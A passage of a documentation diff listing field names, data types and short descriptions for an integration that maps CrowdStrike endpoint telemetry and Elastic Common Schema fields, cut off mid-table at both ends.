crowdstrike.OutErrors | | keyword | +| crowdstrike.OutMulticastOctets | | keyword | +| crowdstrike.OutMulticastPkts | | keyword | +| crowdstrike.OutNUcastPkts | | keyword | +| crowdstrike.OutOctets | | keyword | +| crowdstrike.OutUcastOctets | | keyword | +| crowdstrike.OutUcastPkts | | keyword | +| crowdstrike.Parameter1 | | keyword | +| crowdstrike.Parameter2 | | keyword | +| crowdstrike.Parameter3 | | keyword | +| crowdstrike.Parameter64_1 | | keyword | +| crowdstrike.Parameter64_2 | | keyword | +| crowdstrike.Parameter64_3 | | keyword | +| crowdstrike.ParentAuthenticationId | | keyword | +| crowdstrike.ParentCommandLine | | keyword | +| crowdstrike.ParentCommandLine.text | Multi-field of `crowdstrike.ParentCommandLine`. | match_only_text | +| crowdstrike.ParentImageFileName | | keyword | +| crowdstrike.ParentImageFilePath | | keyword | +| crowdstrike.ParentProcessPatternIdList | | keyword | +| crowdstrike.PasswordLastSet | | keyword | +| crowdstrike.PathMtuDiscoveryTimeout | | keyword | +| crowdstrike.PatternDispositionDescription | | keyword | +| crowdstrike.PatternDispositionFlags.BlockingUnsupportedOrDisabled | | boolean | +| crowdstrike.PatternDispositionFlags.BootupSafeguardEnabled | | boolean | +| crowdstrike.PatternDispositionFlags.ContainmentFileSystem | | boolean | +| crowdstrike.PatternDispositionFlags.CriticalProcessDisabled | | boolean | +| crowdstrike.PatternDispositionFlags.Detect | | boolean | +| crowdstrike.PatternDispositionFlags.FsOperationBlocked | | boolean | +| crowdstrike.PatternDispositionFlags.HandleOperationDowngraded | | boolean | +| crowdstrike.PatternDispositionFlags.InddetMask | | boolean | +| crowdstrike.PatternDispositionFlags.Indicator | | boolean | +| crowdstrike.PatternDispositionFlags.KillActionFailed | | boolean | +| crowdstrike.PatternDispositionFlags.KillParent | | boolean | +| crowdstrike.PatternDispositionFlags.KillProcess | | boolean | +| crowdstrike.PatternDispositionFlags.KillSubProcess | | boolean | +| crowdstrike.PatternDispositionFlags.OperationBlocked | | boolean | +| crowdstrike.PatternDispositionFlags.PolicyDisabled | | boolean | +| crowdstrike.PatternDispositionFlags.ProcessBlocked | | boolean | +| crowdstrike.PatternDispositionFlags.QuarantineFile | | boolean | +| crowdstrike.PatternDispositionFlags.QuarantineMachine | | boolean | +| crowdstrike.PatternDispositionFlags.RegistryOperationBlocked | | boolean | +| crowdstrike.PatternDispositionFlags.Rooting | | boolean | +| crowdstrike.PatternDispositionFlags.SensorOnly | | boolean | +| crowdstrike.PatternDispositionFlags.SuspendParent | | boolean | +| crowdstrike.PatternDispositionFlags.SuspendProcess | | boolean | +| crowdstrike.PatternDispositionValue | | long | +| crowdstrike.PatternId | | keyword | +| crowdstrike.PatternIdList | | match_only_text | +| crowdstrike.PciAttachmentState | | keyword | +| crowdstrike.PciConfigDataBdsm | | match_only_text | +| crowdstrike.PciConfigDataBiosCntl | | match_only_text | +| crowdstrike.PciConfigDataGenPmconA | | match_only_text | +| crowdstrike.PciConfigDataGgc | | match_only_text | +| crowdstrike.PciConfigDataHfsts1 | | match_only_text | +| crowdstrike.PciConfigDataMesegBase | | match_only_text | +| crowdstrike.PciConfigDataRemapbase | | match_only_text | +| crowdstrike.PciConfigDataRemaplimit | | match_only_text | +| crowdstrike.PciConfigDataSmramc | | match_only_text | +| crowdstrike.PciConfigDataTom | | match_only_text | +| crowdstrike.PciConfigDataTouud | | match_only_text | +| crowdstrike.PciConfigDataTsegmb | | match_only_text | +| crowdstrike.Pcr0 | | match_only_text | +| crowdstrike.Pcr1 | | match_only_text | +| crowdstrike.Pcr2 | | match_only_text | +| crowdstrike.Pcr3 | | match_only_text | +| crowdstrike.Pcr4 | | match_only_text | +| crowdstrike.Pcr5 | | match_only_text | +| crowdstrike.Pcr6 | | match_only_text | +| crowdstrike.Pcr7 | | match_only_text | +| crowdstrike.PendingUpdateIds | | match_only_text | +| crowdstrike.PerformanceCounter | | keyword | +| crowdstrike.PermanentPhysicalAddress | | keyword | +| crowdstrike.PhysicalAddress | | keyword | +| crowdstrike.PhysicalAddressLength | | long | +| crowdstrike.PhysicalCoreCount | | long | +| crowdstrike.PhysicalMediumType | | keyword | +| crowdstrike.PlatformId | | keyword | +| crowdstrike.PlatformName | | keyword | +| crowdstrike.PointerSize | | keyword | +| crowdstrike.Policy.ID | | keyword | +| crowdstrike.Policy.Name | | keyword | +| crowdstrike.PolicyRuleSeverity | | long | +| crowdstrike.PreferredLifetime | | keyword | +| crowdstrike.PrefixLength | | keyword | +| crowdstrike.PrefixOrigin | | keyword | +| crowdstrike.Prevalence.Key | | keyword | +| crowdstrike.PreviousConnectTime | | date | +| crowdstrike.PreviousFileAttributesLinux | | keyword | +| crowdstrike.PreviousUnixPermissions | | keyword | +| crowdstrike.PrimaryModule | | keyword | +| crowdstrike.PrivilegedProcessHandleCount | | long | +| crowdstrike.PrivilegesBitmask | | keyword | +| crowdstrike.ProcessAttributes | | match_only_text | +| crowdstrike.ProcessCount | | long | +| crowdstrike.ProcessCreateFlags | | keyword | +| crowdstrike.ProcessId | | long | +| crowdstrike.ProcessParameterFlags | | keyword | +| crowdstrike.ProcessStartKey | | keyword | +| crowdstrike.ProcessSxsFlags | | keyword | +| crowdstrike.ProcessorPackageCount | | long | +| crowdstrike.ProductType | | keyword | +| crowdstrike.ProtectVirtualMemoryCount | | long | +| crowdstrike.ProvisionState | | keyword | +| crowdstrike.PublicKeys | | keyword | +| crowdstrike.PupAdwareConfidence | | keyword | +| crowdstrike.PupAdwareDecisionValue | | keyword | +| crowdstrike.QuarantinedFileExtendedState | | match_only_text | +| crowdstrike.QuarantinedFileName | | match_only_text | +| crowdstrike.QuarantinedFileState | | match_only_text | +| crowdstrike.QueryStatus | | integer | +| crowdstrike.QueueApcCount | | long | +| crowdstrike.RFMState | | keyword | +| crowdstrike.RGID | | keyword | +| crowdstrike.RPath | | match_only_text | +| crowdstrike.RTRState | | keyword | +| crowdstrike.RUID | | keyword | +| crowdstrike.RawThreadId | | keyword | +| crowdstrike.ReachableTime | | keyword | +| crowdstrike.ReasonOfFunctionalityLevel | | keyword | +| crowdstrike.ReceiveLinkSpeed | | keyword | +| crowdstrike.ReferrerUrl | | keyword | +| crowdstrike.RegBinaryValue | | match_only_text | +| crowdstrike.RegClassification | | keyword | +| crowdstrike.RegClassificationFlags | | keyword | +| crowdstrike.RegClassificationIndex | | keyword | +| crowdstrike.RegConfigClass | | keyword | +| crowdstrike.RegConfigFlags | | keyword | +| crowdstrike.RegConfigIndex | | keyword | +| crowdstrike.RegConfigValueType | | keyword | +| crowdstrike.RegCreateDisposition | | match_only_text | +| crowdstrike.RegCreateOptions | | match_only_text | +| crowdstrike.RegKeySecurityDecreasedCount | | long | +| crowdstrike.RegObjectName | | keyword | +| crowdstrike.RegOperationType | | keyword | +| crowdstrike.RegPostObjectName | | match_only_text | +| crowdstrike.RegRootObjectName | | match_only_text | +| crowdstrike.RegStringValue | | match_only_text | +| crowdstrike.RegType | | keyword | +| crowdstrike.RegValueName | | keyword | +| crowdstrike.RelatedClassifications.ID | | keyword | +| crowdstrike.RelatedClassifications.Name | | keyword | +| crowdstrike.RemoteAccount | | keyword | +| crowdstrike.RemoteAddressMaskIP4 | | keyword | +| crowdstrike.RemoteAddressMaskIP6 | | keyword | +| crowdstrike.RemoteAddressString | | keyword | +| crowdstrike.RemovableDiskFileWrittenCount | | long | +| crowdstrike.RequestType | | keyword | +| crowdstrike.ResendToCloud | | keyword | +| crowdstrike.ResourceAttributes | | flattened | +| crowdstrike.ResourceCreateTime | | date | +| crowdstrike.ResourceId | | keyword | +| crowdstrike.ResourceIdType | | keyword | +| crowdstrike.RespondingDnsServer | | keyword | +| crowdstrike.ResponseAction | | keyword | +| crowdstrike.RetransmitTime | | keyword | +| crowdstrike.RootPath | | keyword | +| crowdstrike.RouteAge | | keyword | +| crowdstrike.RouteMetric | | keyword | +| crowdstrike.RouteOrigin | | keyword | +| crowdstrike.RouterDiscoveryBehavior | | keyword | +| crowdstrike.RpcClientProcessId | | keyword | +| crowdstrike.RpcClientThreadId | | keyword | +| crowdstrike.RpcNestingLevel | | keyword | +| crowdstrike.RpcOpClassification | | match_only_text | +| crowdstrike.RpcOpNum | | keyword | +| crowdstrike.RuleId | | keyword | +| crowdstrike.RunDllInvocationCount | | long | +| crowdstrike.SHA1HashData | | keyword | +| crowdstrike.SHA1String | | keyword | +| crowdstrike.SHA256HashData | | keyword | +| crowdstrike.SHA256String | | keyword | +| crowdstrike.SVGID | | keyword | +| crowdstrike.SVUID | | keyword | +| crowdstrike.SamAccountName | | match_only_text | +| crowdstrike.ScopeLevel | | keyword | +| crowdstrike.ScopeZone | | keyword | +| crowdstrike.ScreenshotType | | keyword | +| crowdstrike.ScreenshotsTakenCount | | long | +| crowdstrike.ScriptContent | | match_only_text | +| crowdstrike.ScriptContentBytes | | match_only_text | +| crowdstrike.ScriptContentName | | keyword | +| crowdstrike.ScriptContentScanId | | match_only_text | +| crowdstrike.ScriptControlErrorCode | | keyword | +| crowdstrike.ScriptEngineInvocationCount | | long | +| crowdstrike.ScriptingLanguageId | | keyword | +| crowdstrike.SecurityInformationLinux | | keyword | +| crowdstrike.SensorGroupingTags | | keyword | +| crowdstrike.SensorId | | keyword | +| crowdstrike.SensorStateBitMap | | keyword | +| crowdstrike.ServiceAccessPropertiesEtw | | match_only_text | +| crowdstrike.ServiceCurrentState | | keyword | +| crowdstrike.ServiceDelayedAutoStart | | match_only_text | +| crowdstrike.ServiceDependOnService | | match_only_text | +| crowdstrike.ServiceDescription | | keyword | +| crowdstrike.ServiceDisplayName | | keyword | +| crowdstrike.ServiceErrorControl | | keyword | +| crowdstrike.ServiceEventCount | | long | +| crowdstrike.ServiceFailureActions | | keyword | +| crowdstrike.ServiceImagePath | | keyword | +| crowdstrike.ServicePackMajor | | keyword | +| crowdstrike.ServiceSecurity | | keyword | +| crowdstrike.ServiceStart | | keyword | +| crowdstrike.ServiceType | | keyword | +| crowdstrike.SessionId | | keyword | +| crowdstrike.SessionProcessId | | keyword | +| crowdstrike.SetThreadContextCount | | long | +| crowdstrike.Severity | | integer | +| crowdstrike.SeverityName | | keyword | +| crowdstrike.ShannonEntropy | | keyword | +| crowdstrike.ShareAccess | | keyword | +| crowdstrike.ShareName | | keyword | +| crowdstrike.ShareSecurity | | keyword | +| crowdstrike.ShareSecuritySddl | | keyword | +| crowdstrike.SignInfoFlags | | keyword | +| crowdstrike.SignatureErrorState | | keyword | +| crowdstrike.SignatureState | | keyword | +| crowdstrike.SiteName | | keyword | +| crowdstrike.SitePrefixLength | | keyword | +| crowdstrike.Size | | long | +| crowdstrike.SkipAsSource | | keyword | +| crowdstrike.SmbClientName | | keyword | +| crowdstrike.SmbShareName | | keyword | +| crowdstrike.SnapshotFileOpenCount | | long | +| crowdstrike.SourceAccountDomain | | keyword | +| crowdstrike.SourceAccountObjectGuid | | keyword | +| crowdstrike.SourceAccountObjectSid | | keyword | +| crowdstrike.SourceAccountSamAccountName | | keyword | +| crowdstrike.SourceEndpointAccountObjectGuid | | keyword | +| crowdstrike.SourceEndpointAccountObjectSid | | keyword | +| crowdstrike.SourceEndpointAddressIP4 | | keyword | +| crowdstrike.SourceEndpointHostName | | keyword | +| crowdstrike.SourceEndpointNetworkTag | | keyword | +| crowdstrike.SourceEndpointNetworkType | | keyword | +| crowdstrike.SourceEventUniqueId | | keyword | +| crowdstrike.SourceFileName | | keyword | +| crowdstrike.SourceProcessId | | keyword | +| crowdstrike.SourceProducts | | keyword | +| crowdstrike.SourceThreadId | | keyword | +| crowdstrike.SourceThreadModule | | match_only_text | +| crowdstrike.SourceThreadStartAddress | | keyword | +| crowdstrike.SourceVendors | | keyword | +| crowdstrike.SpibarDataBfpr | | match_only_text | +| crowdstrike.SpibarDataFreg0 | | match_only_text | +| crowdstrike.SpibarDataFreg1 | | match_only_text | +| crowdstrike.SpibarDataFreg2 | | match_only_text | +| crowdstrike.SpibarDataFreg3 | | match_only_text | +| crowdstrike.SpibarDataFreg4 | | match_only_text | +| crowdstrike.SpibarDataHsfs | | match_only_text | +| crowdstrike.SpibarDataPr0 | | match_only_text | +| crowdstrike.SpibarDataPr1 | | match_only_text | +| crowdstrike.SpibarDataPr2 | | match_only_text | +| crowdstrike.SpibarDataPr3 | | match_only_text | +| crowdstrike.SpibarDataPr4 | | match_only_text | +| crowdstrike.SpibarDataVscc0 | | match_only_text | +| crowdstrike.SpibarDataVscc1 | | match_only_text | +| crowdstrike.StartTime | | date | +| crowdstrike.Status | | keyword | +| crowdstrike.StorageUsageInfo | | match_only_text | +| crowdstrike.SubStatus | | keyword | +| crowdstrike.SubjectDomainNameEtw | | match_only_text | +| crowdstrike.SuffixOrigin | | keyword | +| crowdstrike.SuppressType | | keyword | +| crowdstrike.Suppression.Suppressed | | boolean | +| crowdstrike.SuspectStackCount | | long | +| crowdstrike.SuspiciousCredentialModuleLoadCount | | long | +| crowdstrike.SuspiciousDnsRequestCount | | long | +| crowdstrike.SuspiciousFontLoadCount | | long | +| crowdstrike.SuspiciousRawDiskReadCount | | long | +| crowdstrike.SymbolicLinkName | | keyword | +| crowdstrike.SymbolicLinkTarget | | keyword | +| crowdstrike.SyntheticPR2Flags | | keyword | +| crowdstrike.SystemManufacturer | | keyword | +| crowdstrike.SystemProcessCount | | match_only_text | +| crowdstrike.SystemProductName | | keyword | +| crowdstrike.SystemSerialNumber | | keyword | +| crowdstrike.SystemSku | | keyword | +| crowdstrike.SystemTableIndex | | long | +| crowdstrike.Tactic | | keyword | +| crowdstrike.Tags | | keyword | +| crowdstrike.TargetAuthenticationId | | keyword | +| crowdstrike.TargetCommandLineParameters | | keyword | +| crowdstrike.TargetDomainControllerObjectGuid | | keyword | +| crowdstrike.TargetDomainControllerObjectSid | | keyword | +| crowdstrike.TargetFileName | | keyword | +| crowdstrike.TargetIntegrityLevel | | keyword | +| crowdstrike.TargetProcessCommandLine | | keyword | +| crowdstrike.TargetProcessImageFileName | | keyword | +| crowdstrike.TargetSHA256HashData | | keyword | +| crowdstrike.TargetThreadId | | keyword | +| crowdstrike.TargetThreadModule | | keyword | +| crowdstrike.TaskAuthor | | keyword | +| crowdstrike.TaskExecArguments | | keyword | +| crowdstrike.TaskExecCommand | | keyword | +| crowdstrike.TaskName | | keyword | +| crowdstrike.TaskXml | | match_only_text | +| crowdstrike.Technique | | keyword | +| crowdstrike.TemplateDisposition | | keyword | +| crowdstrike.TemplateInstanceId | | keyword | +| crowdstrike.ThreadStartAddress | | keyword | +| crowdstrike.ThreadStartBytes | | match_only_text | +| crowdstrike.ThreadStartContext | | keyword | +| crowdstrike.Timeout | | long | +| crowdstrike.TokenType | | keyword | +| crowdstrike.TotalCount | | long | +| crowdstrike.TransmitLinkSpeed | | keyword | +| crowdstrike.TreeId | | keyword | +| crowdstrike.TunnelType | | keyword | +| crowdstrike.Type | The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection). | keyword | +| crowdstrike.USN | | keyword | +| crowdstrike.UninstallPendingUpdateIds | | match_only_text | +| crowdstrike.UnixMode | | keyword | +| crowdstrike.UnsignedModuleLoadCount | | long | +| crowdstrike.UpdateFlag | | keyword | +| crowdstrike.UploadId | | keyword | +| crowdstrike.User | | keyword | +| crowdstrike.UserDepartment | | keyword | +| crowdstrike.UserFlags | | keyword | +| crowdstrike.UserGroupsBitmask | | keyword | +| crowdstrike.UserLogoffType | | keyword | +| crowdstrike.UserLogonFlags | | keyword | +| crowdstrike.UserLogonFlags_decimal | | keyword | +| crowdstrike.UserMapped | | boolean | +| crowdstrike.UserMemoryAllocateExecutableCount | | long | +| crowdstrike.UserMemoryAllocateExecutableRemoteCount | | long | +| crowdstrike.UserMemoryProtectExecutableCount | | long | +| crowdstrike.UserMemoryProtectExecutableRemoteCount | | long | +| crowdstrike.UserName | | keyword | +| crowdstrike.UserNotified | | boolean | +| crowdstrike.UserRid | | keyword | +| crowdstrike.UserSid | | keyword | +| crowdstrike.UserSid_readable | | keyword | +| crowdstrike.UserThread | | keyword | +| crowdstrike.UserTime | | long | +| crowdstrike.UserTitle | | keyword | +| crowdstrike.ValidLifetime | | keyword | +| crowdstrike.VerifiedCertificate | | keyword | +| crowdstrike.VersionInfo | | match_only_text | +| crowdstrike.VnodeModificationType | | keyword | +| crowdstrike.VnodeType | | keyword | +| crowdstrike.VolumeAppearanceTime | | keyword | +| crowdstrike.VolumeBusName | | keyword | +| crowdstrike.VolumeBusPath | | keyword | +| crowdstrike.VolumeDeviceCharacteristics | | keyword | +| crowdstrike.VolumeDeviceInternal | | keyword | +| crowdstrike.VolumeDeviceModel | | keyword | +| crowdstrike.VolumeDeviceObjectFlags | | keyword | +| crowdstrike.VolumeDevicePath | | keyword | +| crowdstrike.VolumeDeviceProtocol | | keyword | +| crowdstrike.VolumeDeviceRevision | | keyword | +| crowdstrike.VolumeDeviceType | | keyword | +| crowdstrike.VolumeDeviceVendor | | match_only_text | +| crowdstrike.VolumeDriveLetter | | keyword | +| crowdstrike.VolumeEncryptionStatus | | keyword | +| crowdstrike.VolumeFileSystemDevice | | keyword | +| crowdstrike.VolumeFileSystemDriver | | keyword | +| crowdstrike.VolumeFileSystemType | | keyword | +| crowdstrike.VolumeIsEncrypted | | keyword | +| crowdstrike.VolumeIsNetwork | | keyword | +| crowdstrike.VolumeLabel | | keyword | +| crowdstrike.VolumeMediaBSDMajor | | keyword | +| crowdstrike.VolumeMediaBSDMinor | | keyword | +| crowdstrike.VolumeMediaBSDName | | keyword | +| crowdstrike.VolumeMediaBSDUnit | | keyword | +| crowdstrike.VolumeMediaContent | | keyword | +| crowdstrike.VolumeMediaEjectable | | keyword | +| crowdstrike.VolumeMediaName | | keyword | +| crowdstrike.VolumeMediaPath | | keyword | +| crowdstrike.VolumeMediaRemovable | | keyword | +| crowdstrike.VolumeMediaSize | | keyword | +| crowdstrike.VolumeMediaUUID | | keyword | +| crowdstrike.VolumeMediaWhole | | keyword | +| crowdstrike.VolumeMediaWritable | | keyword | +| crowdstrike.VolumeMountPoint | | keyword | +| crowdstrike.VolumeName | | keyword | +| crowdstrike.VolumeOriginPath | | match_only_text | +| crowdstrike.VolumeRealDeviceName | | keyword | +| crowdstrike.VolumeSectorSize | | keyword | +| crowdstrike.VolumeSessionUUID | | keyword | +| crowdstrike.VolumeSnapshotName | | match_only_text | +| crowdstrike.VolumeSnapshotTimeStamp | | match_only_text | +| crowdstrike.VolumeType | | keyword | +| crowdstrike.VolumeUUID | | keyword | +| crowdstrike.WindowFlags | | keyword | +| crowdstrike.WmiNamespaceName | | keyword | +| crowdstrike.WmiProviderName | | keyword | +| crowdstrike.WmiProviderType | | keyword | +| crowdstrike.WmiQuery | | keyword | +| crowdstrike.__mv_LocalAddressIP4 | | keyword | +| crowdstrike.__mv_aip | | keyword | +| crowdstrike.__mv_discoverer_aid | | keyword | +| crowdstrike.aid | | keyword | +| crowdstrike.aipCount | | integer | +| crowdstrike.assessments | | flattened | +| crowdstrike.attack_types | | keyword | +| crowdstrike.aws_account_id | | keyword | +| crowdstrike.cid | | keyword | +| crowdstrike.cis_benchmark_ids | | keyword | +| crowdstrike.cisa_benchmark_ids | | keyword | +| crowdstrike.cloud_asset_type | | long | +| crowdstrike.cloudplatform | | keyword | +| crowdstrike.compliance.benchmarkNames | | keyword | +| crowdstrike.compliance.frameworks | | keyword | +| crowdstrike.compliance.requirements | | keyword | +| crowdstrike.compliance.sections | | keyword | +| crowdstrike.compliance.versions | | keyword | +| crowdstrike.created | | date | +| crowdstrike.crn | | keyword | +| crowdstrike.discovererCount | | integer | +| crowdstrike.discoverer_aid | | keyword | +| crowdstrike.disposition | | keyword | +| crowdstrike.eid | | integer | +| crowdstrike.event-type | | keyword | +| crowdstrike.event_category | | keyword | +| crowdstrike.finding | | keyword | +| crowdstrike.findings.name | | keyword | +| crowdstrike.findings.value | | keyword | +| crowdstrike.firstDetected | | date | +| crowdstrike.hostname | | keyword | +| crowdstrike.id | | keyword | +| crowdstrike.info.host.\* | Host information enriched from aidmaster data. | object | +| crowdstrike.info.user.\* | User information enriched from userinfo data. | object | +| crowdstrike.internal_only | | boolean | +| crowdstrike.iso_benchmark_ids | | keyword | +| crowdstrike.lastDetected | | date | +| crowdstrike.legacyPolicyId | | long | +| crowdstrike.localipCount | | integer | +| crowdstrike.management_event | | boolean | +| crowdstrike.monthsincereset | | keyword | +| crowdstrike.name | | keyword | +| crowdstrike.nist_benchmark_ids | | keyword | +| crowdstrike.os_version | | keyword | +| crowdstrike.pci_benchmark_ids | | keyword | +| crowdstrike.policy_severity | | long | +| crowdstrike.product_type_desc | | keyword | +| crowdstrike.read_only | | boolean | +| crowdstrike.request_id | | keyword | +| crowdstrike.request_parameters | | keyword | +| crowdstrike.resource.captured | | date | +| crowdstrike.resource.legacyResourceId | | keyword | +| crowdstrike.resource.legacyResourceTypeId | | long | +| crowdstrike.resource.resourceId | | keyword | +| crowdstrike.resource.resourceType | | keyword | +| crowdstrike.resource_url | | keyword | +| crowdstrike.response_elements | | keyword | +| crowdstrike.revision | | long | +| crowdstrike.scores.modified_time | | date | +| crowdstrike.scores.os | | long | +| crowdstrike.scores.overall | | long | +| crowdstrike.scores.sensor | | long | +| crowdstrike.scores.version | | keyword | +| crowdstrike.service | | keyword | +| crowdstrike.soc2_benchmark_ids | | keyword | +| crowdstrike.status | | keyword | +| crowdstrike.subnet | | keyword | +| crowdstrike.url | | keyword | +| crowdstrike.user_identity_access_key_id | | keyword | +| crowdstrike.user_identity_account_id | | keyword | +| crowdstrike.user_identity_arn | | keyword | +| crowdstrike.user_identity_mfa_authenticated | | boolean | +| crowdstrike.vertex_id | | keyword | +| crowdstrike.vertex_type | | keyword | +| data_stream.dataset | Data stream dataset. | constant_keyword | +| data_stream.namespace | Data stream namespace. | constant_keyword | +| data_stream.type | Data stream type. | constant_keyword | +| destination.address | Some event destination addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket. You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword | +| destination.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long | +| destination.as.organization.name | Organization name. | keyword | +| destination.as.organization.name.text | Multi-field of `destination.as.organization.name`. | match_only_text | +| destination.geo.city_name | City name. | keyword | +| destination.geo.continent_name | Name of the continent. | keyword | +| destination.geo.country_iso_code | Country ISO code. | keyword | +| destination.geo.country_name | Country name. | keyword | +| destination.geo.location | Longitude and latitude. | geo_point | +| destination.geo.region_iso_code | Region ISO code. | keyword | +| destination.geo.region_name | Region name. | keyword | +| destination.ip | IP address of the destination (IPv4 or IPv6). | ip | +| destination.port | Port of the destination. | long | +| device.id | The unique identifier of a device. The identifier must not change across application sessions but stay fixed for an instance of a (mobile) device. On iOS, this value must be equal to the vendor identifier (https://developer.apple.com/documentation/uikit/uidevice/1620059-identifierforvendor). On Android, this value must be equal to the Firebase Installation ID or a globally unique UUID which is persisted across sessions in your application. For GDPR and data protection law reasons this identifier should not carry information that would allow to identify a user. | keyword | +| dll.Ext.size | Size of DLL. | long | +| dns.question.name | The name being queried. If the name field contains non-printable characters (below 32 or above 126), those characters should be represented as escaped base 10 integers (\DDD). Back slashes and quotes should be escaped. Tabs, carriage returns, and line feeds should be converted to \t, \r, and \n respectively. | keyword | +| dns.question.registered_domain | The highest registered domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword | +| dns.question.subdomain | The subdomain is all of the labels under the registered_domain. If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword | +| dns.question.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword | +| dns.question.type | The type of record being queried. | keyword | +| dns.type | The type of DNS event captured, query or answer. If your source of DNS events only gives you DNS queries, you should only create dns events of type `dns.type:query`. If your source of DNS events gives you answers as well, you should create one event per query (optionally as soon as the query is seen). And a second event containing all query details as well as an array of answers. | keyword | +| ecs.version | ECS version this event conforms to. `ecs.version` is a required field and must exist in all events. When querying across multiple indices -- which may conform to slightly different ECS versions -- this field lets integrations adjust to the schema version of the events. | constant_keyword | +| event.action | The action captured by the event. This describes the information in the event. It is more specific than `event.category`. Examples are `group-add`, `process-started`, `file-created`. The value is normally defined by the implementer. | keyword | +| event.category | This is one of four ECS Categorization Fields, and indicates the second level in the ECS category hierarchy. `event.category` represents the "big buckets" of ECS categories. For example, filtering on `event.category:process` yields all events relating to process activity. This field is closely related to `event.type`, which is used as a subcategory. This field is an array. This will allow proper categorization of some events that fall in multiple categories. | keyword | +| event.created | `event.created` contains the date/time when the event was first read by an agent, or by your pipeline. This field is distinct from `@timestamp` in that `@timestamp` typically contain the time extracted from the original event. In most situations, these two timestamps will be slightly different. The difference can be used to calculate the delay between your source generating an event, and the time when your agent first processed it. This can be used to monitor your agent's or pipeline's ability to keep up with your event source. In case the two timestamps are identical, `@timestamp` should be used. | date | +| event.dataset | Event dataset | constant_keyword | +| event.id | Unique ID to describe the event. | keyword | +| event.kind | This is one of four ECS Categorization Fields, and indicates the highest level in the ECS category hierarchy. `event.kind` gives high-level information about what type of information the event contains, without being specific to the contents of the event. For example, values of this field distinguish alert events from metric events. The value of this field can be used to inform how these kinds of events should be handled. They may warrant different retention, different access control, it may also help understand whether the data is coming in at a regular interval or not. | keyword | +| event.module | Event module | constant_keyword | +| event.original | Raw text message of entire event. Used to demonstrate log integrity or where the full log message (before splitting it up in multiple parts) may be required, e.g. for reindex. This field is not indexed and doc_values are disabled. It cannot be searched, but it can be retrieved from `_source`. If users wish to override this and index this field, please see `Field data types` in the `Elasticsearch Reference`. | keyword | +| event.outcome | This is one of four ECS Categorization Fields, and indicates the lowest level in the ECS category hierarchy. `event.outcome` simply denotes whether the event represents a success or a failure from the perspective of the entity that produced the event. Note that when a single transaction is described in multiple events, each event may populate different values of `event.outcome`, according to their perspective. Also note that in the case of a compound event (a single event that contains multiple logical events), this field should be populated with the value that best captures the overall success or failure from the perspective of the event producer. Further note that not all events will have an associated outcome. For example, this field is generally not populated for metric events, events with `event.type:info`, or any events for which an outcome does not make logical sense. | keyword | +| event.timezone | This field should be populated when the event's timestamp does not include timezone information already (e.g. default Syslog timestamps). It's optional otherwise. Acceptable timezone formats are: a canonical ID (e.g. "Europe/Amsterdam"), abbreviated (e.g. "EST") or an HH:mm differential (e.g. "-05:00"). | keyword | +| event.type | This is one of four ECS Categorization Fields, and indicates the third level in the ECS category hierarchy. `event.type` represents a categorization "sub-bucket" that, when used along with the `event.category` field values, enables filtering events down to a level appropriate for single visualization. This field is an array. This will allow proper categorization of some events that fall in multiple event types. | keyword | +| file.Ext.original.name | | keyword | +| file.Ext.original.path | | keyword | +| file.device | Device that is the source of the file. | keyword | +| file.directory | Directory where the file is located. It should include the drive letter, when appropriate. | keyword | +| file.drive_letter | Drive letter where the file is located. This field is only relevant on Windows. The value should be uppercase, and not include the colon. | keyword | +| file.extension | File extension, excluding the leading dot. Note that when the file name has multiple extensions (example.tar.gz), only the last one should be captured ("gz", not "tar.gz"). | keyword | +| file.hash.sha256 | SHA256 hash. | keyword | +| file.inode | Inode representing the file in the filesystem. | keyword | +| file.name | Name of the file including the extension, without the directory. | keyword | +| file.path | Full path to the file, including the file name. It should include the drive letter, when appropriate. | keyword | +| file.path.text | Multi-field of `file.path`. | match_only_text | +| file.size | File size in bytes. Only relevant when `file.type` is "file". | long | +| file.type | File type (file, dir, or symlink). | keyword | +| group.Ext.real.id | Unique identifier for the group on the system/platform. | keyword | +| group.id | Unique identifier for the group on the system/platform. | keyword | +| host.domain | Name of the domain of which the host is a member. For example, on Windows this could be the host's Active Directory domain or NetBIOS domain name. For Linux this could be the domain of the host's LDAP provider. | keyword | +| host.geo.city_name | City name. | keyword | +| host.geo.continent_name | Name of the continent. | keyword | +| host.geo.country_name | Country name. | keyword | +| host.geo.timezone | The time zone of the location, such as IANA time zone name. | keyword | +| host.hostname | Hostname of the host. It normally contains what the `hostname` command returns on the host machine. | keyword | +| host.ip | Host ip addresses. | ip | +| host.name | Name of the host. It can contain what hostname returns on Unix systems, the fully qualified domain name (FQDN), or a name specified by the user. The recommended value is the lowercase FQDN of the host. | keyword | +| host.os.type | Use the `os.type` field to categorize the operating system into one of the broad commercial families. If the OS you're dealing with is not listed as an expected value, the field should not be populated. Please let us know by opening an issue with ECS, to propose its addition. | keyword | +| host.os.version | Operating system version as a raw string. | keyword | +| input.type | | keyword | +| log.file.path | Full path to the log file this event came from, including the file name. It should include the drive letter, when appropriate. If the event wasn't read from a log file, do not populate this field. | keyword | +| log.offset | | long | +| network.community_id | A hash of source and destination IPs and ports, as well as the protocol used in a communication. This is a tool-agnostic standard to identify flows. Learn more at https://github.com/corelight/community-id-spec. | keyword | +| network.direction | Direction of the network traffic. When mapping events from a host-based monitoring context, populate this field from the host's point of view, using the values "ingress" or "egress". When mapping events from a network or perimeter-based monitoring context, populate this field from the point of view of the network perimeter, using the values "inbound", "outbound", "internal" or "external". Note that "internal" is not crossing perimeter boundaries, and is meant to describe communication between two hosts within the perimeter. Note also that "external" is meant to describe traffic between two hosts that are external to the perimeter. This could for example be useful for ISPs or VPN service providers. | keyword | +| network.iana_number | IANA Protocol Number (https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml). Standardized list of protocols. This aligns well with NetFlow and sFlow related logs which use the IANA 